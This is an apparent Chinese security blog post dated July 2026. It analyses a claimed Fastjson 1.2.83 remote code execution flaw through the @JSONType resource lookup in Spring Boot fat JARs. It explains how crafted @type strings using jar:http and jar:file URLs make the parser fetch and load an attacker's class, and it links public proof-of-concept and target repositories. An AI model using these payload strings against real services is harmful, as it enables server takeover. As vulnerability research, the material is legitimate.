漏洞收录
2025年HVV公开披露POC
GitHub PoC实时雷达
700+漏洞归档弹药库
Linux核弹级提权1秒Root
WooYun历史案例可构建
Linux本地提权通杀项目
CVE-2026-42945漏扫验证
Nginx 1.31.0 RCE 0day
FastJsonV1.2.83漏洞分析
小迪安全知识库
-
+
home
FastJsonV1.2.83漏洞分析
FastJsonV1.2.83漏洞分析
# FastJson 1.2.83 远程代码执行分析 ## 写在前面 7 月 20 日前后,安全圈炸出一颗雷:Fastjson 1.2.66 ~ 1.2.83 在 `@JSONType` 资源探测路径上存在一个 gadget-free 的远程代码执行漏洞,编号 QVD-2026-43021,原始披露者是 Kirill Firsov(@k\_firsov)。 这个洞的可怕之处不在于"又一条利用链",而在于它**直接绕过了 Fastjson 过去几年里几乎所有主流加固手段**: * ▸ 不依赖 AutoType 开启 —— 默认配置下即触发 * ▸ 不依赖任何第三方 gadget class —— 只用 JDK 自带的 `LaunchedURLClassLoader` * ▸ 不依赖 expectClass 绕过 —— 完全是一条新路径 * ▸ SafeMode 是唯一可靠的紧急缓解 —— 但很多老项目为了兼容性都不敢开 复现时我先后翻了四五个公开 PoC 仓库,最后锁定两个: * ▸https://github.com/midisec/fastjson-1.2.83-gadget-rce:核心利用工具,覆盖 JDK 8/17/21/25 全版本 * ▸https://github.com/0x7eTeam/fastjson-1.2.83-rce:配套的 Spring Boot FatJar 漏洞靶场 这两个仓库配合起来,就是一套"一键复现 + 批量检测"的完整套件。 ## 前景提要 省去前面的json ast解析过程,直接来到`com.alibaba.fastjson.parser.ParserConfig[#checkAutoType](javascript:;)(java.lang.String, java.lang.Class<?>, int)`  主要逻辑从这里开始,先检查`@type`的类是否在已经缓存过的`class`名单内  如果不存在则通过`deserializers.findClass`来从注册过的反序列化器里寻找   接着判断如果是白名单内就直接加载  如果在前面的逻辑里获取到了`clazz`,则在这里判断如果当前有`expectClass`入参,并且传入的类名是`expectClass`的子类或者实现类(`isAssignableFrom(clazz)`),也就是期望类,那就可以过掉当前`checkAutoType`的检查,如果不符合直接抛出异常,也就是在`fj`高版本之后这里如果不是期望类直接下机  前面提到的反序列化器里当中就有`com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer[#deserialze](javascript:;)`  这里直接将`@type`里的类传入`checkAutoType`,且`expectClass`为`Throwable.class`,这里过掉`checkAutoType`的检查后就创建异常类对应的实例,这也是历史`fj`高版本当中用`Throwable`子类比较多的原因 后面会基于传入的类名来加载这个类,尝试通过读取这个类来判断是否存在`@JsonType`的注解  这里由于`defaultClassLoader`为`null`,所以走到`ParserConfig.class.getClassLoader().getResourceAsStream(resource)`来获取类文件的资源  到最后就是判断如果是白名单里的类,期望类,实现了`jsonType`的类其中任意一条满足的话,就调用`com.alibaba.fastjson.util.TypeUtils[#loadClass](javascript:;)(java.lang.String, java.lang.ClassLoader, boolean)`,同时如果这个类是白名单类或者`jsonType`类型的话就会被缓存  这里由于传进来的`classloader`是`null`,导致这里是加载不到恶意类`class`的,所以会继续往下走来到这里  到这里通过`Thread.currentThread().getContextClassLoader()`拿到当前线程的`classloader`来加载我们的恶意类,可以看到这里就正常了,是`WebAppClassLoader` ## 无gadget实现代码执行 前景提要里可以发现绕来绕去无非都是在找新链子实现写文件到`docbase`再来加载恶意类,总之关键的一步在于链子。链子太难挖了,但这次的`payload`巧妙之处就在于前面提到的<基于传入的类名来加载这个类>部分以及双亲委派机制来实现的无`gadget`代码执行 我们跟入一下<基于传入的类名来加载这个类>这个部分  注意此时的`ParserConfig.class.getClassLoader()`返回的是`LaunchedURLClassLoader`  可以看到这个`LaunchedURLClassLoader`是`Spring Boot`自己实现的,我们先强制步入看看其实现  步入进来后可以看到是`URLClassLoader`,那就对味了,说明`LaunchedURLClassLoader`是继承了`URLClassLoader`,同时可以看到这里在获取资源的时候用的是`URLConnection`,其支持`http`、`file`、`jar`、`mailto`等协议,所以这里入参的时候是可以使用`jar:`协议的,也为这次的利用做了铺垫  在拿到文件流之后就是判断传入的类里是否存在`@JsonType`注解  这一步只要能够满足,就可以在下面的`clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, cacheClass);`正常走进去,满足条件也很简单,我们只需要给恶意类加上`@JsonType`注解即可  满足条件后走到`loadClass`   后面的不再赘述,前半段到这里已经结束,后半段是双亲委派的加载机制问题。 ## 双亲委派导致的利用场景受限 前面我们说过,我们当前`ParserConfig.class.getClassLoader()`拿到的是`LaunchedURLClassLoader`,是`spring-boot-loader`中自定义的类加载器,主要实现对`jar`包当中`BOOT-INF/classes`下的类以及`BOOT-INF/lib`下第三方`jar`包中的类的加载,也就是`jar in jar`的形式  当`ParserConfig.class.getClassLoader()`返回的是`LaunchedURLClassLoader`的时候,通过`getResourceAsStream -> findResource`最后还是交给了父类的`URLClassLoader[#findResource](javascript:;)`来查找资源,其父类底层使用的还是`URL`,导致我们可以使用`jar:`协议来加载一个`jar`文件当中的资源 这里需要注意的是,他在获取资源的时候,是做了拼接的,也就是在获取资源之前   这为利用提供了天然的便利性,很容易能想到构造`jar:http://x.x.x.x:x/zipName!/entryName`的利用方式,通过`jar:http`的特性来远程加载一个`jar`包内的资源类目(这里其实是不是`jar`的类型不重要,是个压缩包就行,因为`jar`本质就是一个`zip`),不过需要注意的是,他有替换字符串`.`变为`/`的行为,所以我们需要处理一下变为`jar:http:..ip的int形式:端口.zipName!.entryName`,也就是把`/`替换为`.`,让他在字符串替换的过程中恢复回去,又由于不能出现`.`,不然就又被替换成`/`了,所以主机名我们得使用`ip`转`int`数字类型的方式来设置主机名,比如`127.0.0.1`对应为`2130706433`,也可以直接设置`localhost` 当我们满心欢喜构造好这个前置条件的`payload`后尝试发包  发现确实有请求,但是没有触发,我们在`loadClass`的位置打上断点看看什么情况  发现在传入`loadClass`方法的时候,用的是先前的完整的`typeName`,导致无法加载。这里就需要用到`URLClassLoader`的特性,我们跟一下这里的大概流程,先随便找一个携带`@JsonType`注解但是不在已定义的`package`里的类,这里选的是`com.alibaba.fastjson.support.geo.Geometry`     到这里可以看到父类加载器是`LaunchedURLClassLoader`,接着强制步入`jdk`内部的`Class.forName -> forName0`方法,走到了`java.lang.ClassLoader[#loadClass](javascript:;)(java.lang.String)`    这里会走到`java.net.URLClassLoader[#findClass](javascript:;)`  这里我们会看到,传入的`name`就是完整类名,这里会将类名当中的`.`替换为`/`,最后拼接`.class`得到完整的资源名称,如:`com.xxx.AA -> com/xx/AA.class`  最终通过`ucp.getResource(path, false);`获取资源里的`class`对象从而加载对应的类  对比一下之前的`payload`:`jar:http:..localhost:8888.RCE2!.RCE2`,这时候我们就知道了,此时`jdk`会去找`jar:http://localhost:8888/RCE2!/RCE2.class`这个资源,这个过程当中最重要的一步是`jdk`能够找到这个类名才行,否则无法进行加载,因为在加载的过程中会对比传入的两个名称(传入的完整类名和`class`实际的类名),不一致无法加载。所以看起来解决问题的方案就是将这个`RCE2`的类名通过`javaassit`或`asm`改成不合法的类名来满足要求:`package jar:http:..localhost:8888.RCE2!` 修改掉之后我们再次尝试利用   可见还是不行,但是`http`请求是被触发了的  这又是为什么呢?这是我们前面提到了,过程中会走到`Class.forName -> forName0`当中,而`forName0`在过程中会校验类名的合法性:https://github.com/openjdk/jdk8u/blob/master/jdk/src/share/native/java/lang/Class.c  这个过程中类名是不允许出现两个连续的`/`,而我们的`http`的`payload`由于出现了`..`,所以在转换的时候正好出现了`//`,被认为是非法类名直接抛出类不存在的异常了   所以上面这种方式在`TomcatEmbeddedWebappClassLoader`环境下是不生效的,我们故转而`jar:file`的方式来进行加载   可以看到能够正常加载这个畸形类,最后弹出计算器收尾  那么既然在`spring boot fatjar`下利用成功了,能不能在`tomcat war`环境下利用呢?目前看下来是不可以的,当然,如果你有更好的办法突破这个`tccl`的限制可以公众号后台私信交流学习  这是因为`ParallelWebappClassLoader`的资源查找逻辑是用的其父类的`WebappClassLoaderBase`当中的方法   在经过`nameToPath`之后,变成了`/jar:file:/tmp/RCE!/RCE.class`  这会导致最后实际查找的范围被框定在了`WEB-INF/classes/`或是`WEB-INF/lib`当中,因为不会把`/jar:file:/tmp/RCE!/RCE.class`解析成`URL`,自然就没办法加载到了 那么为什么强调要`fatjar`才能够运行呢?问题是一样的,`idea run`模式下的`Spring Boot`使用的是`AppClassLoader`,只查找`classpath`下的资源(如`target/classes`或是`jre lib`)  对比一下`LaunchedURLClassLoader`  以及`tomcat`的`ParallelWebappClassLoader`  ## 最后 其他能打`http`的途径不分析了,不出网利用已经是对脚本小子最大的恩赐
xiaodi
July 22, 2026, 3:30 a.m.
308
0 comment
Forward
Favorites
Last
Next
Scan the QR Code
Copy link
Scan the QR code to share.
Copy link
share
link
type
password
Update password
Validity period
Markdown file
Word document
PDF document
PDF document (print)